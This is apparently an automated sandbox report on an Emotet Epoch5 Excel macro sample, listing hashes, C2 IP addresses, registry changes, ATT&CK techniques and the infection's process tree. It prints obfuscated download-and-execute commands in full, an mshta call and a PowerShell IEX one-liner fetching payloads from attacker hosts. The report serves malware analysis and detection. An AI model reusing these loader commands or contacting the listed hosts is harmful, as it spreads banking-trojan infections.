emotet | bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 06:05

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Report Analysis Logs

General

Target

35731290084461452.xlsm
Size

115KB
MD5

cb5ae08f0635dff32c684570750108b5
SHA1

33c65f18d7f753d82cb4ac73540d5e53acb61d5f
SHA256

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603
SHA512

4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1676	1180	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1832 mshta.exe
5 1516 powershell.exe
7 1516 powershell.exe
9 1168 rundll32.exe
10 1168 rundll32.exe
11 1168 rundll32.exe
13 1168 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1320 rundll32.exe
1320 rundll32.exe
1320 rundll32.exe
1320 rundll32.exe
1780 rundll32.exe
1780 rundll32.exe
1780 rundll32.exe
1780 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Kumczjnrfieyim\cnutpdvgeg.xwx rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1832	mshta.exe
5	1516	powershell.exe
7	1516	powershell.exe
9	1168	rundll32.exe
10	1168	rundll32.exe
11	1168	rundll32.exe
13	1168	rundll32.exe

pid	process
1320	rundll32.exe
1320	rundll32.exe
1320	rundll32.exe
1320	rundll32.exe
1780	rundll32.exe
1780	rundll32.exe
1780	rundll32.exe
1780	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Kumczjnrfieyim\cnutpdvgeg.xwx	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1180 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1516 powershell.exe
1168 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1516 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

1180 EXCEL.EXE
1180 EXCEL.EXE
1180 EXCEL.EXE
1180 EXCEL.EXE
1180 EXCEL.EXE

pid	process
1180	EXCEL.EXE

pid	process
1516	powershell.exe
1168	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1516	powershell.exe

pid	process
1180	EXCEL.EXE
1180	EXCEL.EXE
1180	EXCEL.EXE
1180	EXCEL.EXE
1180	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1180 wrote to memory of 1352	1180	EXCEL.EXE	splwow64.exe
PID 1180 wrote to memory of 1352	1180	EXCEL.EXE	splwow64.exe
PID 1180 wrote to memory of 1352	1180	EXCEL.EXE	splwow64.exe
PID 1180 wrote to memory of 1352	1180	EXCEL.EXE	splwow64.exe
PID 1180 wrote to memory of 1676	1180	EXCEL.EXE	cmd.exe
PID 1180 wrote to memory of 1676	1180	EXCEL.EXE	cmd.exe
PID 1180 wrote to memory of 1676	1180	EXCEL.EXE	cmd.exe
PID 1180 wrote to memory of 1676	1180	EXCEL.EXE	cmd.exe
PID 1676 wrote to memory of 1832	1676	cmd.exe	mshta.exe
PID 1676 wrote to memory of 1832	1676	cmd.exe	mshta.exe
PID 1676 wrote to memory of 1832	1676	cmd.exe	mshta.exe
PID 1676 wrote to memory of 1832	1676	cmd.exe	mshta.exe
PID 1832 wrote to memory of 1516	1832	mshta.exe	powershell.exe
PID 1832 wrote to memory of 1516	1832	mshta.exe	powershell.exe
PID 1832 wrote to memory of 1516	1832	mshta.exe	powershell.exe
PID 1832 wrote to memory of 1516	1832	mshta.exe	powershell.exe
PID 1516 wrote to memory of 928	1516	powershell.exe	cmd.exe
PID 1516 wrote to memory of 928	1516	powershell.exe	cmd.exe
PID 1516 wrote to memory of 928	1516	powershell.exe	cmd.exe
PID 1516 wrote to memory of 928	1516	powershell.exe	cmd.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1320	928	cmd.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 1780	1320	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1780 wrote to memory of 1764	1780	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe
PID 1764 wrote to memory of 1168	1764	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\35731290084461452.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1352

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:928

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kumczjnrfieyim\cnutpdvgeg.xwx",JSmuVbcRg
8⤵
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kumczjnrfieyim\cnutpdvgeg.xwx",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1168

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
